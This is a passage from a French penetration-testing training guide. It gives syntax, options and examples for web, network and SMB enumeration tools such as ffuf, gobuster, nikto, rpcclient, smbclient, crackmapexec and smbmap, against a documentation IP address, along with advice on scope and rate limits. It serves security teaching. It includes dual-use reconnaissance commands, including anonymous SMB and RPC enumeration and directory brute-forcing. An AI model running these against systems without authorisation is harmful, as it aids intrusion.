nmap -sV -sC -p 22,80,443 192.0.2.20
```

Exemple avancé • Shell

```
nmap -Pn -sV -p 80,443 --script http-title \
  --max-rate 50 -oA scans/web 192.0.2.20
```

Résultat attendu

Une table de ports apparaît ; -oA écrit trois formats. Le dossier scans doit exister. Le plafond de débit ne garantit pas l'innocuité des scripts.

Cas d'utilisation en pentest

Passer d'une liste de ports à une hypothèse de service documentée, puis vérifier avec le client adapté.

Bonnes pratiques

• Lire --script-help avant chaque nouveau script.

• Limiter les ports et les cibles ; conserver les sorties brutes.

Erreurs fréquentes

• Assimiler -sC à « sans impact ».

• Employer -A comme synonyme de scan de tous les ports.

• Confondre open|filtered et open.

NIVEAU 2 • DÉBUTANT PENTEST

7 Énumération web

Objectif

Identifier un site, ses technologies et les chemins accessibles sans confondre indice et vulnérabilité.

Explication simple

HTTP (Hypertext Transfer Protocol) transporte les échanges web. HTTPS ajoute TLS (Transport Layer Security), une protection chiffrée avec vérification d'identité. URL (Uniform Resource Locator) désigne l'adresse d'une ressource. Énumérer consiste à recueillir des informations et essayer des chemins prévus par une liste de mots.

Difficulté du parcours : niveau 2. Les fiches précisent le niveau de chaque outil.

Commandes essentielles

curl, wget et whatweb pour les réponses, en-têtes et indices techniques.

Commandes avancées

nikto, ffuf, gobuster et feroxbuster pour des contrôles et découvertes actifs.

Cas d'utilisation réels et transposables

Récupérer les en-têtes, interroger un chemin aléatoire inexistant puis comparer les réponses. Tester ensuite une petite liste locale et vérifier manuellement les chemins intéressants.

Repères pour comprendre

Codes usuels : 200 réponse réussie ; 301/302 redirection ; 401 authentification nécessaire ; 403 accès refusé ; 404 ressource non trouvée ; 429 trop de requêtes ; 500 erreur côté serveur. Un serveur peut retourner 200 pour toutes les erreurs : on parle de faux 404. Les bannières peuvent être modifiées. Dans les exemples, mots.txt est une petite liste créée localement ; app.lab.test doit résoudre vers la cible de laboratoire. Références S05 à S10 et S41.

Conseil Limiter concurrence et débit ; ne pas suivre automatiquement une redirection hors périmètre ; conserver codes, tailles et heures ; vérifier les certificats.

Attention Conclure qu'un code 200 prouve l'existence d'une page ; ignorer les pages d'erreur personnalisées ; désactiver TLS par habitude ; traiter un 403 comme une autorisation de contournement.

SECTION 07 • ÉNUMÉRATION WEB | NIVEAU 2

curl

Description

Envoie une requête et affiche ou enregistre sa réponse. Utile pour les en-têtes, le corps et les téléchargements.

Syntaxe • Shell

```
curl [options] URL
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-I	Demande les en-têtes par une requête HEAD ; ne récupère pas le corps d'un GET normal.
-i	Inclut les en-têtes dans la sortie, avec le corps ; le i minuscule n'a pas le même effet que -I.
-sS	-s retire la progression ; -S réaffiche les erreurs même avec -s. Utile dans un script.
-D FICHIER / -o FICHIER	Enregistre les en-têtes / le corps dans les fichiers choisis ; -o peut écraser une destination.
--resolve NOM:PORT:IP	Associe ce nom et ce port à une adresse pour la connexion, tout en conservant le nom attendu par HTTP et TLS.
--cacert FICHIER	Utilise une autorité de certification fournie pour vérifier le serveur ; préférable à désactiver la vérification.
--max-time SECONDES	Limite la durée totale du transfert pour éviter une attente indéfinie.
-f / -L	-f signale certaines erreurs HTTP par un échec ; -L suit les redirections, qui doivent rester dans le périmètre.

Exemple débutant • Shell

```
curl -I http://192.0.2.20/
```

Exemple intermédiaire • Shell

```
curl -sS -D entetes.txt -o page.html http://192.0.2.20/
```

Exemple avancé • Shell

```
curl --resolve app.lab.test:443:192.0.2.20 \
  --cacert ca-lab.pem --max-time 10 \
  -D entetes-tls.txt -o page.html https://app.lab.test/
```

Résultat attendu

-I émet une requête HEAD ; -D conserve les en-têtes ; --resolve associe nom et adresse en gardant le nom TLS correct.

Cas d'utilisation en pentest

Relever une bannière, comparer des réponses et récupérer un fichier de laboratoire.

Bonnes pratiques

• Utiliser la bonne autorité de certification du laboratoire.

• Ajouter -f pour faire échouer un téléchargement sur certaines erreurs HTTP.

Erreurs fréquentes

• Confondre -I et une requête GET complète.

• Utiliser -k systématiquement.

• Copier un jeton secret dans la ligne de commande.

SECTION 07 • ÉNUMÉRATION WEB | NIVEAU 2

wget

Description

Télécharge des ressources vers des fichiers locaux. Peut afficher les en-têtes et limiter le débit.

Syntaxe • Shell

```
wget [options] URL
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-O FICHIER	Choisit le nom du fichier enregistré ; peut écraser son contenu. La lettre O est majuscule.
--limit-rate=DEBIT	Limite le téléchargement, par exemple 200k ; réduit la charge sur un lien de laboratoire.
--timeout=SECONDES	Règle les délais réseau concernés ; ce n'est pas une durée globale garantie pour toutes les tentatives.
--tries=N	Limite le nombre d'essais ; --tries=2 évite des répétitions prolongées.
-S	Affiche les en-têtes de réponse du serveur ; utile pour comprendre une redirection ou un refus.
-c	Essaie de reprendre un téléchargement interrompu ; vérifier que la ressource distante n'a pas changé.

Exemple débutant • Shell

```
wget http://192.0.2.20:8000/notes.txt
```

Exemple intermédiaire • Shell

```
wget -O copie.txt http://192.0.2.20:8000/notes.txt
```

Exemple avancé • Shell

```
wget --limit-rate=200k --timeout=10 --tries=2 \
  -O copie.txt http://192.0.2.20:8000/notes.txt
```

Résultat attendu

Le fichier est enregistré ; -O fixe son nom, même si l'URL suggère un autre nom.

Cas d'utilisation en pentest

Transférer une liste de mots de test ou une petite archive depuis un serveur contrôlé.

Bonnes pratiques

• Vérifier l'empreinte et la provenance.

• Télécharger dans un dossier isolé.

Erreurs fréquentes

• Utiliser un miroir récursif sans mesurer sa portée.

• Écraser un fichier existant avec -O.

• Croire que HTTP protège le contenu.

SECTION 07 • ÉNUMÉRATION WEB | NIVEAU 2

whatweb

Description

Recherche des indices de technologies web dans les réponses et éléments de page.

Syntaxe • Shell

```
whatweb [options] URL
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-v	Affiche davantage de détails sur les indices techniques reconnus.
--log-json=FICHIER	Enregistre les résultats dans un format structuré pour une comparaison ou un traitement ultérieur.
-a N	Choisit l'agressivité ; une valeur supérieure peut provoquer plus de requêtes. Commencer avec le niveau par défaut.
--color=never	Retire les codes de couleur de la sortie ; utile pour un fichier texte lisible.
--help	Affiche les options de la version installée avant une collecte plus ciblée.

Exemple débutant • Shell

```
whatweb http://192.0.2.20/
```

Exemple intermédiaire • Shell

```
whatweb -v http://192.0.2.20/
```

Exemple avancé • Shell

```
whatweb --log-json=technologies.json http://192.0.2.20/
```

Résultat attendu

Des technologies probables et parfois des versions sont rapportées ; le format JSON structure les résultats.

Cas d'utilisation en pentest

Orienter l'analyse vers le serveur, le gestionnaire de contenu ou les bibliothèques réellement observés.

Bonnes pratiques

• Confirmer les indices par plusieurs éléments.

• Garder l'agressivité par défaut pour commencer.

Erreurs fréquentes

• Prendre une détection pour une certitude.

• Augmenter l'agressivité sans examiner les requêtes supplémentaires.

nikto

Description

Exécute des contrôles web connus et signale des configurations ou ressources à examiner. Il génère de nombreuses requêtes.

Syntaxe • Shell

```
nikto -h URL [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-h URL	Définit le serveur à tester ; ici -h signifie hôte, pas aide.
-Version	Affiche la version ; respecter cette forme de l'option.
-Pause SECONDES	Introduit une pause entre les tests ; réduit le rythme sans garantir un impact nul.
-maxtime DUREE	Limite le temps de test d'un hôte ; 5m correspond à cinq minutes.
-Format FORMAT	Choisit le format du rapport, par exemple txt.
-output FICHIER	Enregistre les résultats dans le fichier indiqué pour permettre leur revue.

Exemple débutant • Shell

```
nikto -Version
```

Exemple intermédiaire • Shell

```
nikto -h http://192.0.2.20 -Pause 1
```

Exemple avancé • Shell

```
nikto -h http://192.0.2.20 -Pause 1 \
  -maxtime 5m -Format txt -output nikto.txt
```

Résultat attendu

La version ou un rapport de contrôles apparaît ; les alertes nécessitent une validation manuelle.

Cas d'utilisation en pentest

Faire une revue active planifiée d'un serveur web de laboratoire.

Bonnes pratiques

• Prévenir l'équipe qui surveille le service.

• Relier chaque alerte à une réponse vérifiable.

Erreurs fréquentes

• Lancer l'outil sur une application fragile sans fenêtre prévue.

• Transformer toutes les alertes en vulnérabilités confirmées.

SECTION 07 • ÉNUMÉRATION WEB | NIVEAU 2

ffuf

Description

Remplace le marqueur FUZZ dans une requête par les mots d'une liste, puis filtre les réponses.

Syntaxe • Shell

```
ffuf -u URL/FUZZ -w mots.txt [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-u URL	Définit l'adresse à tester ; FUZZ désigne l'emplacement où insérer chaque mot de la liste.
-w FICHIER	Fournit la liste de mots ; utiliser une liste courte et adaptée au premier essai.
-ac	Calibre automatiquement les filtres sur des réponses de référence ; vérifier qu'il ne masque pas de vrais résultats.
-rate N	Limite le débit de requêtes par seconde ; choisir une valeur adaptée au service.
-t N	Fixe le nombre de travailleurs simultanés ; ce n'est pas un débit en requêtes par seconde.
-maxtime SECONDES	Borne la durée globale de l'exécution.
-of json / -o FICHIER	Choisit le format de sortie / le fichier où écrire les résultats.
-mc / -fc CODES	Sélectionne / exclut des codes HTTP ; un filtre d'affichage n'est pas une validation de vulnérabilité.

Exemple débutant • Shell

```
ffuf -u http://192.0.2.20/FUZZ -w mots.txt -rate 5 -t 2
```

Exemple intermédiaire • Shell

```
ffuf -u http://192.0.2.20/FUZZ -w mots.txt \
  -ac -rate 5 -t 2
```

Exemple avancé • Shell

```
ffuf -u http://192.0.2.20/FUZZ -w mots.txt \
  -ac -rate 5 -t 2 -maxtime 60 -of json -o ffuf.json
```

Résultat attendu

Les chemins correspondant aux critères sont listés ; -ac calibre les filtres, -rate limite le débit et -t la concurrence.

Cas d'utilisation en pentest

Découvrir une page de documentation ou un ancien chemin oublié dans une application autorisée.

Bonnes pratiques

• Tester un faux chemin manuellement.

• Contrôler que le calibrage n'élimine pas de vrais résultats.

Erreurs fréquentes

• Oublier FUZZ.

• Confondre filtrage des faux positifs et validation.

• Utiliser une énorme liste dès le premier essai.

SECTION 07 • ÉNUMÉRATION WEB | NIVEAU 2

gobuster

Description

Découvre des chemins web avec le mode dir. Les autres modes ont des objectifs et options distincts.

Syntaxe • Shell

```
gobuster dir -u URL -w mots.txt [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
dir	Sélectionne la découverte de chemins web ; les options d'autres modes peuvent être différentes.
-u URL / -w FICHIER	Définissent l'adresse de base / la liste de mots à essayer.
-t N	Fixe le nombre de travailleurs simultanés ; une faible valeur aide à limiter la charge.
--delay DUREE	Attend entre les requêtes d'un travailleur ; 1s vaut une seconde, sans imposer un plafond global exact.
-x EXTENSIONS	Essaie aussi les extensions indiquées, par exemple txt,html ; augmente le nombre de requêtes.
-o FICHIER	Enregistre les résultats pour une vérification ultérieure.
dir --help	Affiche l'aide propre au mode de découverte web et à la version installée.

Exemple débutant • Shell

```
gobuster dir --help
```

Exemple intermédiaire • Shell

```
gobuster dir -u http://192.0.2.20/ \
  -w mots.txt -t 2 --delay 1s
```

Exemple avancé • Shell

```
gobuster dir -u http://192.0.2.20/ -w mots.txt \
  -x txt,html -t 2 --delay 1s -o gobuster.txt
```

Résultat attendu

Les chemins retenus et leurs codes apparaissent ; -x ajoute des extensions ; le délai s'applique aux travailleurs.

Cas d'utilisation en pentest

Rechercher des pages ou fichiers de test après avoir observé le comportement des erreurs.

Bonnes pratiques

• Consulter l'aide du mode dir de la version installée.

• Valider chaque chemin avec curl.

Erreurs fréquentes

• Prendre un délai par travailleur pour un plafond global exact.

• Multiplier les extensions et sous-estimer le volume de requêtes.

SECTION 07 • ÉNUMÉRATION WEB | NIVEAU 3

feroxbuster

Description

Recherche des chemins et peut explorer récursivement les dossiers découverts. La récursion augmente la portée.

Syntaxe • Shell

```
feroxbuster -u URL -w mots.txt [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-u URL / -w FICHIER	Choisissent le site de départ / la liste de mots.
--no-recursion	Désactive l'exploration récursive des dossiers découverts ; utile au premier passage.
--depth N	Borne la profondeur de récursion ; ne limite pas à lui seul le nombre de chemins essayés.
-t N	Fixe le nombre de travailleurs ; leur concurrence influe sur la charge.
--rate-limit N	Limite le rythme des requêtes par scan ; plusieurs scans peuvent produire un débit total plus élevé.
--scan-limit N	Borne le nombre de scans de dossiers simultanés ; 1 simplifie le contrôle du débit total.
--time-limit DUREE	Fixe une durée maximale, par exemple 2m pour deux minutes.
-o FICHIER	Enregistre les résultats dans le fichier choisi.

Exemple débutant • Shell

```
feroxbuster -u http://192.0.2.20/ -w mots.txt \
  --no-recursion -t 2 --rate-limit 5
```

Exemple intermédiaire • Shell

```
feroxbuster -u http://192.0.2.20/ -w mots.txt \
  --depth 2 -t 2 --rate-limit 5 --scan-limit 1
```

Exemple avancé • Shell

```
feroxbuster -u http://192.0.2.20/ -w mots.txt \
  --depth 2 -t 2 --rate-limit 5 --scan-limit 1 \
  --time-limit 2m -o ferox.txt
```

Résultat attendu

Des résultats par chemin sont affichés et enregistrés ; profondeur, scans simultanés et durée limitent le travail.

Cas d'utilisation en pentest

Explorer un petit arbre web identifié lors de l'énumération initiale.

Bonnes pratiques

• Commencer sans récursion.

• Surveiller le débit total : certaines limites sont propres à chaque scan.

Erreurs fréquentes

• Suivre une arborescence qui sort du périmètre.

• Croire qu'une profondeur faible empêche toute forte charge.

NIVEAU 2 • DÉBUTANT PENTEST

8 Énumération réseau

Objectif

Découvrir les hôtes et informations de services dans le segment explicitement autorisé.

Explication simple

La découverte sur un lien local et l'énumération d'un service distant ne fonctionnent pas de la même manière. ARP reste sur le segment local. NetBIOS (Network Basic Input Output System) expose parfois des noms Windows historiques. SMB (Server Message Block) est un protocole de partage ; RPC (Remote Procedure Call) permet des appels de fonctions distantes.

Difficulté du parcours : niveau 2. Les fiches précisent le niveau de chaque outil.

Commandes essentielles

arp-scan et netdiscover pour un segment local ; nbtscan pour les noms historiques.

Commandes avancées

enum4linux, rpcclient et smbclient pour interroger des services Windows ou Samba.

Cas d'utilisation réels et transposables

Scénario 1 : retrouver les machines d'un réseau virtuel isolé avec arp-scan. Scénario 2 : sur un réseau routé, tester les seuls ports autorisés avec Nmap puis interroger SMB. Scénario 3 : comparer les informations accessibles anonymement à celles d'un compte de lecture fourni.

Repères pour comprendre

Un inventaire passif ne voit que le trafic effectivement reçu. Le mode promiscuité ne donne pas magiquement accès à tout le trafic d'un commutateur. Les fiches SMB de la section suivante approfondissent les partages et leurs permissions. Références S11 à S15 et S42.

Conseil Vérifier l'interface et le préfixe ; privilégier une cible unique avant un segment ; noter le contexte d'authentification.

Attention Scanner le réseau physique de l'entreprise au lieu du réseau virtuel ; attendre ARP à travers un tunnel routé ; interpréter un refus comme une panne.

SECTION 08 • ÉNUMÉRATION RÉSEAU | NIVEAU 2

arp-scan

Description

Envoie des requêtes ARP et affiche les hôtes répondants sur le lien IPv4 local.

Syntaxe • Shell

```
arp-scan [options] cibles
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
--interface=NOM	Choisit explicitement l'interface locale ; vérifier son adresse et le segment avant le scan.
--retry=N	Fixe le nombre de tentatives pour les cibles sans réponse ; plus d'essais implique davantage de trafic.
--localnet	Déduit les cibles de l'interface locale ; n'utiliser que si ce segment entier est autorisé.
IP ou PREFIXE	Définit la cible ou plage ; 192.0.2.0/24 est un exemple de préfixe, pas une permission de scanner.

Exemple débutant • Shell

```
sudo arp-scan --interface=eth0 192.0.2.20
```

Exemple intermédiaire • Shell

```
sudo arp-scan --interface=eth0 192.0.2.0/24
```

Exemple avancé • Shell

```
sudo arp-scan --interface=eth0 --retry=2 \
  192.0.2.0/24 > voisins.txt
```

Résultat attendu

Les adresses IPv4, MAC et parfois les fabricants supposés sont listés.

Cas d'utilisation en pentest

Inventorier un réseau virtuel isolé lorsque le préfixe complet fait partie du laboratoire.

Bonnes pratiques

• Lire ip address et ip route avant le scan.

• Vérifier que tout le préfixe est autorisé.

Erreurs fréquentes

• Utiliser --localnet sur la mauvaise interface.

• Croire que le fabricant identifié prouve le système d'exploitation.

SECTION 08 • ÉNUMÉRATION RÉSEAU | NIVEAU 2

netdiscover

Description

Observe ou sonde les échanges ARP pour découvrir des hôtes locaux.

Syntaxe • Shell

```
netdiscover [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-i INTERFACE	Choisit l'interface d'observation ou d'émission ARP.
-p	Active l'écoute passive sans le scan actif habituel ; dépend du trafic réellement reçu.
-r PREFIXE	Définit la plage à explorer activement ; vérifier que le préfixe entier est autorisé.
-P	Produit une sortie adaptée à un traitement texte et se termine après le scan actif ; différent de -p minuscule.

Exemple débutant • Shell

```
sudo netdiscover -i eth0 -p
```

Exemple intermédiaire • Shell

```
sudo netdiscover -i eth0 -r 192.0.2.0/24
```

Exemple avancé • Shell

```
sudo netdiscover -i eth0 -r 192.0.2.0/24 -P
```

Résultat attendu

-p écoute passivement ; -r définit la plage active ; -P produit une sortie non interactive et se termine après le scan actif.

Cas d'utilisation en pentest

Comparer ce qui est visible passivement à un inventaire actif du réseau de laboratoire.

Bonnes pratiques

• Quitter la vue interactive après la période prévue.

• Indiquer dans le rapport si la collecte était passive.

Erreurs fréquentes

• Oublier -p et envoyer des sondes involontaires.

• Conclure qu'un hôte silencieux n'existe pas.

SECTION 08 • ÉNUMÉRATION RÉSEAU | NIVEAU 2

nbtscan

Description

Interroge les noms NetBIOS sur UDP 137 lorsque le service est présent.

Syntaxe • Shell

```
nbtscan [options] cible-ou-plage
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-v	Affiche les informations NetBIOS détaillées, notamment la table de noms quand elle est disponible.
-q	Réduit les titres et certains messages de sortie ; utile pour un résultat plus facile à traiter.
-t MILLISECONDES	Règle le délai d'attente des réponses ; ne pas confondre avec une valeur en secondes.
IP ou PREFIXE	Définit une cible ou une plage de découverte ; commencer par une seule machine autorisée.

Exemple débutant • Shell

```
nbtscan 192.0.2.20
```

Exemple intermédiaire • Shell

```
nbtscan -v 192.0.2.20
```

Exemple avancé • Shell

```
nbtscan 192.0.2.0/24 > noms-netbios.txt
```

Résultat attendu

Des noms d'ordinateurs, groupes et attributs peuvent apparaître ; un système récent peut ne rien exposer.

Cas d'utilisation en pentest

Associer une adresse de laboratoire à un nom Windows historique.

Bonnes pratiques

• Confirmer le nom avec les autres services autorisés.

• Limiter la plage au segment approuvé.

Erreurs fréquentes

• Assimiler le silence à l'absence de Windows.

• Confondre un groupe NetBIOS et un domaine Active Directory confirmé.

SECTION 08 • ÉNUMÉRATION RÉSEAU | NIVEAU 2

enum4linux

Description

Outil historique regroupant plusieurs interrogations de Samba et Windows. Les informations dépendent des accès accordés.

Syntaxe • Shell

```
enum4linux [options] cible
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-S	Demande la liste des partages accessibles à l'énumération.
-U	Demande les utilisateurs ; les droits ou politiques du serveur peuvent empêcher la réponse.
-G	Demande les groupes ; ne prouve pas à lui seul leurs membres ou droits effectifs.
-a	Lance un ensemble plus large de contrôles ; lire l'aide avant de dépasser une collecte ciblée.
-u UTILISATEUR	Spécifie un compte pour une collecte authentifiée ; vérifier la méthode de gestion du secret avant utilisation.

Exemple débutant • Shell

```
enum4linux -S 192.0.2.20
```

Exemple intermédiaire • Shell

```
enum4linux -U -G 192.0.2.20
```

Exemple avancé • Shell

```
enum4linux -S -U -G 192.0.2.20 > enum.txt 2>&1
```

Résultat attendu

-S vise les partages, -U les utilisateurs et -G les groupes ; des refus sont normaux sur une configuration restrictive.

Cas d'utilisation en pentest

Comparer les informations exposées sans identifiants sur un serveur de test.

Bonnes pratiques

• Préférer enum4linux-ng pour un nouveau flux si compatible.

• Distinguer réponses, erreurs et limitations du protocole.

Erreurs fréquentes

• Lancer -a sans comprendre l'ensemble des requêtes.

• Prendre une erreur de dépendance pour une protection de la cible.

SECTION 08 • ÉNUMÉRATION RÉSEAU | NIVEAU 2

rpcclient

Description

Client Samba permettant des requêtes RPC, par exemple sur les utilisateurs et groupes d'un serveur.

Syntaxe • Shell

```
rpcclient [options] serveur
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-U IDENTITE	Choisit le compte, par exemple LAB/auditeur ; sans secret dans cet argument, l'outil peut le demander au terminal.
-N	Ne demande pas de mot de passe ; ne crée pas un droit d'accès anonyme.
-c "COMMANDES"	Exécute les requêtes indiquées puis termine ; séparer plusieurs requêtes par un point-virgule dans les guillemets.
srvinfo	Requête d'informations sur le serveur ; ce nom s'utilise à l'intérieur de -c.
enumdomusers / enumdomgroups	Requêtes de liste des utilisateurs / groupes ; les résultats dépendent des droits.
querydominfo	Requête d'informations sur le domaine ; ne remplace pas une analyse des appartenances.

Exemple débutant • Shell

```
rpcclient -N -U "" 192.0.2.20 -c "srvinfo"
```

Exemple intermédiaire • Shell

```
rpcclient -U 'LAB/auditeur' 192.0.2.20 \
  -c "enumdomusers"
```

Exemple avancé • Shell

```
rpcclient -U 'LAB/auditeur' 192.0.2.20 \
  -c "enumdomgroups; querydominfo"
```

Résultat attendu

Une interrogation anonyme est tentée ou un mot de passe est demandé ; les résultats dépendent des droits du compte.

Cas d'utilisation en pentest

Énumérer les identités et le domaine avec un compte de lecture autorisé.

Bonnes pratiques

• Laisser l'outil demander le mot de passe.

• Conserver le contexte anonyme ou authentifié.

Erreurs fréquentes

• Croire que -N accorde un accès anonyme.

• Déduire l'appartenance à un groupe à partir de son nom seulement.

SECTION 08 • ÉNUMÉRATION RÉSEAU | NIVEAU 2

smbclient

Description

Liste les partages et permet de parcourir un partage SMB. Peut fonctionner en mode interactif ou par commandes ciblées.

Syntaxe • Shell

```
smbclient //serveur/partage [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-L SERVEUR	Liste les partages annoncés par le serveur ; ne prouve pas que chacun peut être ouvert.
-U IDENTITE	Définit le compte ; laisser l'outil demander le mot de passe plutôt que de le placer dans la commande.
-N	Désactive l'invite de mot de passe ; utilisé avec -U "" pour essayer une identité vide.
-c "COMMANDES"	Exécute des commandes du client, par exemple "ls; allinfo notes.txt", puis quitte.
//SERVEUR/PARTAGE	Désigne le partage à ouvrir ; c'est l'argument de destination, pas une option.
ls / allinfo / get	Dans le client : liste / informations sur un fichier / téléchargement ; get exige une lecture explicitement prévue.

Exemple débutant • Shell

```
smbclient -L //192.0.2.20 -N -U ""
```

Exemple intermédiaire • Shell

```
smbclient //192.0.2.20/public -N -U "" -c "ls"
```

Exemple avancé • Shell

```
smbclient //192.0.2.20/audit -U 'LAB/auditeur' \
  -c "ls; allinfo notes.txt"
```

Résultat attendu

Les partages, entrées ou attributs du fichier sont affichés. -L liste ; ouvrir le partage constitue un contrôle distinct.

Cas d'utilisation en pentest

Vérifier si un partage listé autorise réellement la lecture, sans télécharger tout son contenu.

Bonnes pratiques

• Utiliser le mot de passe interactif.

• Si nécessaire, télécharger seulement un fichier de test approuvé avec get.

Erreurs fréquentes

• Confondre partage visible et accès autorisé.

• Activer SMB1 pour résoudre un échec sans justification.

• Utiliser mget * sans évaluer le volume et la sensibilité.

NIVEAU 2 • DÉBUTANT PENTEST

9 Énumération SMB

Objectif

Établir quels partages et fichiers un contexte d'authentification peut réellement consulter.

Explication simple

Un accès anonyme utilise une identité vide ; un accès invité peut être attribué par le serveur, y compris après certaines tentatives. Ce sont des situations différentes. Les droits d'un partage et ceux du système de fichiers se combinent. La lecture d'une racine ne prouve pas l'accès à tous ses enfants.

Difficulté du parcours : niveau 2. Les fiches précisent le niveau de chaque outil.

Commandes essentielles

smbclient -L puis ouverture du partage et ls, détaillés en section 8.

Commandes avancées

smbmap pour cartographier les accès ; enum4linux-ng pour un rapport structuré ; NetExec pour les flux actuels ; crackmapexec pour comprendre les anciens exercices.

Cas d'utilisation réels et transposables

Anonyme : smbclient -L //192.0.2.20 -N -U "", puis consulter uniquement public. Authentifié : refaire la vérification avec LAB/auditeur. Permissions : comparer les résultats et signaler tout accès inattendu à un fichier de démonstration convenu.

Repères pour comprendre

Une permission READ signifie lecture observée ou estimée selon l'outil ; WRITE peut résulter d'un test actif. Sans test d'écriture, ne pas certifier ce droit. Les partages administratifs tels que C$ peuvent être visibles mais interdits au compte. La signature SMB protège l'intégrité des échanges ; elle n'équivaut pas au chiffrement. NetExec poursuit le projet CrackMapExec ; les options ne sont pas toutes interchangeables. Références S14 à S18.

Conseil Tracer l'identité utilisée ; limiter les lectures ; utiliser --no-write-check avec SMBMap pour éviter son test d'écriture ; prouver une écriture seulement avec un fichier témoin convenu et nettoyé.

Attention Confondre anonymat et invité ; supposer qu'une liste de partages implique la lecture ; lancer des fonctions de téléchargement ou d'exécution pendant une simple énumération.

SECTION 09 • ÉNUMÉRATION SMB | NIVEAU 2

crackmapexec

Description

Ancien outil d'évaluation de services réseau, souvent présent dans les anciens laboratoires. Préférer NetExec pour un nouveau déploiement.

Syntaxe • Shell

```
crackmapexec protocole cible [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
--version	Identifie la version historique installée ; les options varient selon les versions et projets apparentés.
smb	Sélectionne le protocole SMB ; ce mot est une sous-commande.
-u IDENTITE / -p SECRET	Fournissent les identifiants. Ici -u '' -p '' tente une identité vide ; éviter un vrai secret visible en argument.
--shares	Demande les partages visibles avec l'identité utilisée ; ne lance pas à lui seul une lecture de tous les fichiers.
CIBLE unique	Préférer une seule machine pour comprendre la sortie avant toute extension de périmètre autorisée.

Exemple débutant • Shell

```
crackmapexec --version
```

Exemple intermédiaire • Shell

```
crackmapexec smb 192.0.2.20
```

Exemple avancé • Shell

```
crackmapexec smb 192.0.2.20 -u '' -p '' --shares
```

Résultat attendu

La version, les caractéristiques SMB ou les partages accessibles sans identifiants peuvent être affichés.

Cas d'utilisation en pentest

Reproduire un ancien exercice et comparer ses résultats à ceux d'un outil maintenu.

Bonnes pratiques

• Vérifier la provenance de toute ancienne installation.

• Lire l'aide du protocole avant de reprendre une commande historique.

Erreurs fréquentes

• Installer un paquet au nom similaire depuis une source inconnue.

• Attendre que toutes les options correspondent à NetExec.

• Passer des listes de mots de passe pour un simple inventaire.

SECTION 09 • ÉNUMÉRATION SMB | NIVEAU 2

smbmap

Description

Présente les partages et accès SMB. Ses contrôles peuvent inclure une tentative d'écriture si elle n'est pas désactivée.

Syntaxe • Shell

```
smbmap -H serveur [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-H HOTE	Définit le serveur cible ; le H est majuscule.
-u COMPTE / -d DOMAINE	Choisissent l'identité utilisateur et son domaine, par exemple auditeur et LAB.
--prompt	Demande le mot de passe au terminal plutôt que de l'exposer dans les arguments.
--no-write-check	Désactive le test d'écriture de l'outil ; indispensable si la collecte doit rester sans écriture sur les partages.
-r CHEMIN	Liste un partage ou un sous-chemin, par exemple public ; sans chemin, la portée peut être plus large.
--depth N	Borne la profondeur de parcours des dossiers ; vérifier la profondeur souhaitée.
--csv FICHIER	Exporte les résultats en tableau texte structuré ; protéger le fichier produit.

Exemple débutant • Shell

```
smbmap -H 192.0.2.20 --no-write-check
```

Exemple intermédiaire • Shell

```
smbmap -H 192.0.2.20 -u auditeur -d LAB \
  --prompt --no-write-check
```

Exemple avancé • Shell

```
smbmap -H 192.0.2.20 -u auditeur -d LAB --prompt \
  --no-write-check -r public --depth 1 --csv partages.csv
```

Résultat attendu

Les partages ou entrées limitées à public sont listés ; --prompt demande le mot de passe ; l'écriture n'est pas testée.

Cas d'utilisation en pentest

Comparer l'exposition anonyme et l'accès du compte fourni sans créer de fichier sur le serveur.

Bonnes pratiques

• Conserver --no-write-check si le mandat est en lecture seule.

• Restreindre le chemin et la profondeur.

Erreurs fréquentes

• Interpréter l'absence de test comme une preuve d'absence de droits d'écriture.

• Utiliser -A sans savoir qu'il peut télécharger les correspondances.

SECTION 09 • ÉNUMÉRATION SMB | NIVEAU 2

enum4linux-ng

Description

Regroupe des requêtes d'énumération et exporte des résultats structurés. Le suffixe ng signifie next generation, nouvelle génération.

Syntaxe • Shell

```
enum4linux-ng [options] cible
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-S / -U / -G	Demandent respectivement les partages, utilisateurs et groupes ; les combiner pour une collecte précise.
-Gm	Demande les groupes avec leurs membres ; peut augmenter la quantité de données retournées.
-A	Lance le groupe de contrôles simples prévu par l'outil ; c'est aussi le défaut lorsque rien de plus précis n'est sélectionné.
-oJ PREFIXE	Exporte en JSON ; l'extension .json est ajoutée au nom fourni.
-oY / -oA PREFIXE	Exporte en YAML / dans les formats pris en charge par cette option ; consulter l'aide de la version locale.
-t SECONDES	Règle le délai de connexion ; ne constitue pas une limite globale de durée de toute la collecte.

Exemple débutant • Shell

```
enum4linux-ng -S 192.0.2.20
```

Exemple intermédiaire • Shell

```
enum4linux-ng -U -G -S 192.0.2.20
```

Exemple avancé • Shell

```
enum4linux-ng -U -G -S -oJ enum-lab 192.0.2.20
```

Résultat attendu

Partages, utilisateurs et groupes sont demandés ; -oJ ajoute une extension .json au préfixe de sortie.

Cas d'utilisation en pentest

Produire un inventaire contrôlé d'un serveur de test et distinguer les données accessibles des refus.

Bonnes pratiques

• Sélectionner explicitement les catégories nécessaires.
• Protéger les fichiers JSON qui contiennent des identités.

Erreurs fréquentes

• Lancer sans options et ignorer le périmètre de collecte par défaut.
• Utiliser -p avec un vrai secret visible dans les arguments.
• Confondre sortie partielle et inventaire complet.

NIVEAU 3 • INTERMÉDIAIRE

10 Énumération Active Directory

Objectif

Comprendre les utilisateurs, groupes et relations d'un annuaire d'entreprise avec des accès autorisés.

Explication simple

